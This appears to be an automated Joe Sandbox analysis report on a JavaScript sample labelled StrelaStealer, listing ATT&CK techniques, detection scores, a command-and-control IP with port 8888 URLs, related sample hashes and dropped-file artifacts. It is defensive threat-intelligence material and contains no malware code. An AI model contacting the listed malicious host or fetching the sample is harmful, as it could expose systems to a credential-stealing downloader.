Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
32139134812378922139.js	7%	Virustotal		Browse
32139134812378922139.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label	Link
http://193.143.1.205:8888/aj~	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/ujj	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false		high
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.2715432669.0000015B3B600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2/C:	svchost.exe, 00000009.00000003.1538341520.0000015B3B4A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.1538769808.0000016F6DBB8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/aj~	net.exe, 00000007.00000003.1535777987.0000016F6DBE7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1539220956.0000016F6DBE7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/ujj	net.exe, 00000007.00000003.1535777987.0000016F6DBE7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1539220956.0000016F6DBE7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588692
Start date and time:	2025-01-11 04:16:13 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 58s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	32139134812378922139.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/56@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 162.159.61.3, 172.64.41.3, 23.209.209.135, 184.28.90.27, 34.237.241.83, 54.224.241.105, 18.213.11.84, 50.16.47.176, 199.232.214.172, 2.16.168.105, 2.16.168.107, 20.109.210.53, 96.17.64.171, 4.175.87.197
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, e8652.dscx.akamaiedge.net, fs.microsoft.com, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
22:17:15	API Interceptor	31x Sleep call for process: powershell.exe modified
22:17:21	API Interceptor	1x Sleep call for process: net.exe modified
22:17:21	API Interceptor	2x Sleep call for process: svchost.exe modified
22:17:28	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2300831576502014589.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2148023713578731850.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
bg.microsoft.map.fastly.net	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	270423757158192531.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	42384357676028189.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3236235451745230764.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	696568221068916474.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1528152952987120978.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	24667857242018421.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2812430594697516427.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22388142366532662.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	13211101981378323787.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	18203107951121827015.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1460324287242413198.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8022003289984312
Encrypted:	false
SSDEEP:	1536:RJszRK0I9i0k0I9wXq0I9UGJC/PQJCmJCovVsnQ9Sii1GY9zOoRXTpMNYpKhvUAp:RJE+Lfki1GjHwU/+vVhWqpY
MD5:	59E64F6663BDB9BD0F3441475C9C2459
SHA1:	E271239167714B549EDE4B0D9647F5862BB341FA
SHA-256:	3066D5A5D79F4A37BBA8FF1CC0CA9779EF7FF762B1EAA632418810B3DD464F71
SHA-512:	83E3AC08B9E5C93270DBD4015F631A92F670E61EB66983000B0291CD70B1E0BD09E3B0509A9043575AE9AA5CFD528E81D88CEBE6BD819F4185499BCF33FD171E
Malicious:	false
Preview:	..Q^........@..@.....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@.....................................3~L.#.........`h.................h.......1.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0x823fecae, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1048576
Entropy (8bit):	0.9433391261321521
Encrypted:	false
SSDEEP:	1536:TSB2ESB2SSjlK/ZvxPXK0I9XGJCTgzZYkr3g16zV2UPkLk+kY+lKuy9ny5zPOZ15:TazaHvxXy2V2UR
MD5:	18EF0967C6E02C83BE57819AC7CC8BCF
SHA1:	83449DFE2E1842EA3B64FEAA54054B70CAE8CC5A
SHA-256:	37687AAFB99B0E482C166D0889C1D0CAF27019D0732818E6DA42B208C6A1CD60
SHA-512:	6FD869584BE05B07D6968D6914C1D0BC77CC22F4F823A14847B70F86ACDCE003936A261827BD246D44DAE5F02AE72667C66F4EFBC4E680D21F844BBADB74EDFA
Malicious:	false
Preview:	.?.... ...............X\...;...{......................0.x...... ...{s......}!.h.z.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ............{...............................................................................................................................................................................................2...{...................................[.......}..........................}...........................#......h.z.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08131733405073992
Encrypted:	false
SSDEEP:	3:2w/8YeHfboGsl/nqlFcl1ZUllllV3Ya4llGBnX/l/Tj/k7/t:2w8zHfBsl/qlFclQ/lQ254
MD5:	FCB8AF5FFDEE7E7A2FF9C3FE14D12476
SHA1:	CC1D8715089C227E051DE9363C2BD119350C522B
SHA-256:	0D28EDB9AF0ABCCFDA0C0F4B94D168C4C5435F57CA2505B76058F59EBD2E72E4
SHA-512:	E71B36C8DF79947EAC4739C56E011F4FB3715791CFCC61F5C79859180CE44592BE4CD194E216EE4BD88B438D5871B173485E19E610D89EF3969CCFAB729AFFFD
Malicious:	false
Preview:	d.......................................;...{.......}... ...{s.......... ...{s.. ...{s.P.... ...{s.........................}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.153185617253365
Encrypted:	false
SSDEEP:	6:iO4qXD/m71M+q2PCHhJ2nKuAl9OmbnIFUtSqXD/miFEZZmwsqXD/miFEMMVkwOC/:7dOM+vBHAahFUtH2Z/B2MMV56HAaSJ
MD5:	AC8CDCCDE3F50F7C5B58316FF21B6EE2
SHA1:	8E71EC2F0DA58AD10EA91168735DE84A72CED069
SHA-256:	4FC4591A64CC2241219C4752668CC854DA3EB803E6A9DEC8CF86666A45658C17
SHA-512:	1581993E49E4F10E370C5FDFDD8629F24C8769DC420C296E299617A366C93704D02FD3EFBDF073C8298A3853BFCB71A4A01CBC87B3310AEF734D46A730000EB0
Malicious:	false
Preview:	2025/01/10-22:17:21.071 dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:17:21.074 dfc Recovering log #3.2025/01/10-22:17:21.074 dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.153185617253365
Encrypted:	false
SSDEEP:	6:iO4qXD/m71M+q2PCHhJ2nKuAl9OmbnIFUtSqXD/miFEZZmwsqXD/miFEMMVkwOC/:7dOM+vBHAahFUtH2Z/B2MMV56HAaSJ
MD5:	AC8CDCCDE3F50F7C5B58316FF21B6EE2
SHA1:	8E71EC2F0DA58AD10EA91168735DE84A72CED069
SHA-256:	4FC4591A64CC2241219C4752668CC854DA3EB803E6A9DEC8CF86666A45658C17
SHA-512:	1581993E49E4F10E370C5FDFDD8629F24C8769DC420C296E299617A366C93704D02FD3EFBDF073C8298A3853BFCB71A4A01CBC87B3310AEF734D46A730000EB0
Malicious:	false
Preview:	2025/01/10-22:17:21.071 dfc Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-22:17:21.074 dfc Recovering log #3.2025/01/10-22:17:21.074 dfc Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.158230528950649
Encrypted:	false
SSDEEP:	6:iO4qXD/o3+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqXD/aFKNJZmwsqXD/aFKN9VkwR:7dAOvBHAa8uFUtHy0X/By0F56HAa8RJ
MD5:	ADDD066D30F984D68FD644594449D6E5
SHA1:	48DEDE1BF70C3F48AAF8D29BB408BC39BBB67DC5
SHA-256:	C4784F098ACB3CB041512BA243B52F3E3C4CEC800155D12364DC32E92C1F408E
SHA-512:	38742B2AD5A05A46C9D914C118A89659E822A212F57680E62E951AD61095755476899923FFCD765A66EBA197F2CD1E403ED1A430AAF2CB183DC54E46238D7452
Malicious:	false
Preview:	2025/01/10-22:17:21.162 8a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:17:21.163 8a8 Recovering log #3.2025/01/10-22:17:21.163 8a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	335
Entropy (8bit):	5.158230528950649
Encrypted:	false
SSDEEP:	6:iO4qXD/o3+q2PCHhJ2nKuAl9Ombzo2jMGIFUtSqXD/aFKNJZmwsqXD/aFKN9VkwR:7dAOvBHAa8uFUtHy0X/By0F56HAa8RJ
MD5:	ADDD066D30F984D68FD644594449D6E5
SHA1:	48DEDE1BF70C3F48AAF8D29BB408BC39BBB67DC5
SHA-256:	C4784F098ACB3CB041512BA243B52F3E3C4CEC800155D12364DC32E92C1F408E
SHA-512:	38742B2AD5A05A46C9D914C118A89659E822A212F57680E62E951AD61095755476899923FFCD765A66EBA197F2CD1E403ED1A430AAF2CB183DC54E46238D7452
Malicious:	false
Preview:	2025/01/10-22:17:21.162 8a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-22:17:21.163 8a8 Recovering log #3.2025/01/10-22:17:21.163 8a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\0e36717a-d3f6-4dfc-a817-62b8575c7fea.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State~RF4d7b24.TMP (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.964572325322009
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqRYSsBdOg2HEcaq3QYiub6P7E4T3y:Y2sRds9dMHX3QYhbS7nby
MD5:	D25A82831FBAAB53DA0A9FF676399C18
SHA1:	350EFB0B2B56CC8B0F650B34B59C0A705A4B2309
SHA-256:	F20CB8DC5F98FBEB8B0AB91BDABB2A1D09EF0D927241321034284592013693E3
SHA-512:	973F779D5A631FDE2CD2270522EBAF78B50D2CE3130638500641750F4099E7DDBEAA58B73E9696DE4240823AC03E768CF890CBF42932F815324ECDBE1DFE7A61
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13341054937965898","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":146333},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\cbdc4c05-57ba-474d-8383-8f88ddd87d04.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.951852653785237
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqdfsBdOg2HCbcaq3QYiub6P7E4T3y:Y2sRds3dMHCi3QYhbS7nby
MD5:	AC836AE469DDAAD2041F76222D1267EA
SHA1:	FCEC760FAF1FAC817EE4E478D72C44DD3452C283
SHA-256:	D8C0A9DA8DC08849A6DCD62E535D009084BED010B22A44D93516307E292C1413
SHA-512:	368EA85B9B403B9DCE4F6FA80317FC2E7369956140F701B0D098FF67C029681F518215D2C72383BA8FE8BD8FBA19C676E2D63CEF95597730E11ECDE1DF50E82A
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381125452783811","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":298139},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.8","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	3878
Entropy (8bit):	5.237748365445482
Encrypted:	false
SSDEEP:	96:S4bz5vsZ4CzSAsfTxiVud4TxY0CIOr3MCWO3VxBaw+boqaDBgc:S43C4mS7fFi0KFYDjr3LWO3V3aw+boqU
MD5:	143F0DBE5D7A80FF1647B1FE0C48EF91
SHA1:	2D3DFAE5FC1646CE155587829F682869214AA8DF
SHA-256:	0D36C0EA2ADAC5D8BB599B35E551FCD6C87A9EF2377BA3BF1851CA61B3562AF1
SHA-512:	87DDC36456FEF9BBCD0FE7F1D32633BE8271F830AD2B53B3F9C2EAB5397867F3FED81C75A93E4901CFA1BD42457CA1AD5CFBF4526DB544B92C7A87A3E5E7D662
Malicious:	false
Preview:	*...#................version.1..namespace-8..\|o................next-map-id.1.Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/.0...dr................next-map-id.2.Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.1....r................next-map-id.3.Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.2.$..o................next-map-id.4.Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/.3+...^...............Pnamespace-656dc224_0825_4dad_892f_a4fe9098071c-https://rna-resource.acrobat.com/....^...............Pnamespace-f0c0a73c_e89b_42d5_bb63_4f8a3b04cf3a-https://rna-resource.acrobat.com/T.3.a...............Snamespace-ef12e1ab_9f14_41d7_aae3_3f05adf09ebc-https://rna-v2-resource.acrobat.com/.U..a...............Snamespace-07eb38e9_046b_46c4_bd67_b1578df56145-https://rna-v2-resource.acrobat.com/.$..o................next-map-id.5.Pnamespace-c66013b9_73b6_4b3f_b279_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.15001748999679
Encrypted:	false
SSDEEP:	6:iO4qXD/kgdA+q2PCHhJ2nKuAl9OmbzNMxIFUtSqXD/kGG5ZmwsqXD/ksWVkwOCHS:7d8gXvBHAa8jFUtH8B/B8sG56HAa84J
MD5:	74FE251CF4480DEB2BC3B464EFC7B36F
SHA1:	D8F0A253BD2B370DCE9ABCDE2B35FF84700BD290
SHA-256:	310C419EB80265F5098F9A3C523D80DBE7347580D4720E7E826427986C389B31
SHA-512:	32C0E96EB7E986E277587BD387D79951DE7ED1B4FF9CA1ED2F1EFA56D8AD83060D215A3E30A9121D340EBB34BE432E9D1727624F7D4992EAE73554D8B18E51E3
Malicious:	false
Preview:	2025/01/10-22:17:21.250 8a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:17:21.252 8a8 Recovering log #3.2025/01/10-22:17:21.254 8a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	323
Entropy (8bit):	5.15001748999679
Encrypted:	false
SSDEEP:	6:iO4qXD/kgdA+q2PCHhJ2nKuAl9OmbzNMxIFUtSqXD/kGG5ZmwsqXD/ksWVkwOCHS:7d8gXvBHAa8jFUtH8B/B8sG56HAa84J
MD5:	74FE251CF4480DEB2BC3B464EFC7B36F
SHA1:	D8F0A253BD2B370DCE9ABCDE2B35FF84700BD290
SHA-256:	310C419EB80265F5098F9A3C523D80DBE7347580D4720E7E826427986C389B31
SHA-512:	32C0E96EB7E986E277587BD387D79951DE7ED1B4FF9CA1ED2F1EFA56D8AD83060D215A3E30A9121D340EBB34BE432E9D1727624F7D4992EAE73554D8B18E51E3
Malicious:	false
Preview:	2025/01/10-22:17:21.250 8a8 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-22:17:21.252 8a8 Recovering log #3.2025/01/10-22:17:21.254 8a8 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
